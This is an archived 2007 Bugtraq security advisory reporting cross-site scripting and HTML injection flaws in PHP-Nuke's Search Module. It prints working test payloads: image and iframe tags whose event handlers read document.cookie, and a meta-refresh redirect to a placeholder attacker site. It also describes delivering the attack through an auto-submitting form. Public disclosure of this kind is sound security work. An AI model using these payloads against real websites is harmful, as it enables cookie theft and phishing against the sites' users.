lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <20070801155847.31896.qmail@securityfocus.com>
Date: 1 Aug 2007 15:58:47 -0000
From: mikispag@...il.com
To: bugtraq@...urityfocus.com
Subject: PHP-Nuke (ALL versions) Multiple XSS and HTML injection

PHP-Nuke ALL versions Search Module multiple XSS and HTML injection
-------------------------------------------------------------------

The well-known PHP-Nuke CMS is vulnerable to multiple XSS attacks and HTML injections through the Search Module.

The request is made using POST, but the whole process can be automatized creating an ad-hoc page to send to the victim with an auto-submitting forum using POST as method and the vulnerable URL (http://vulnsite.com/modules.php?name=Search) as ACTION.

Both the XSS and the HTML injection work on IE 6/7 and Firefox (ALL versions), with every server and php.ini configuration.

You may use the following queries for testing.

*XSS*:

<img src=http://www.microsoft.com/404.jpg style=display:none onerror=XSS_HERE <
<iframe src=http://www.google.com style=display:none onload=XSS_HERE <

For example:

<img src=http://www.microsoft.com/404.jpg style=display:none onerror=alert(document.cookie) <
<iframe src=http://www.google.com style=display:none onload=alert(document.cookie) <

*HTML injection*:

Examples:

<meta http-equiv=refresh content=1;url=http://evilsite.com <

Obviosuly, using XSS a malicious hacker can obtain some sensitive and confidential information like cookies, or set up a phishing attack.

Mikispag

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ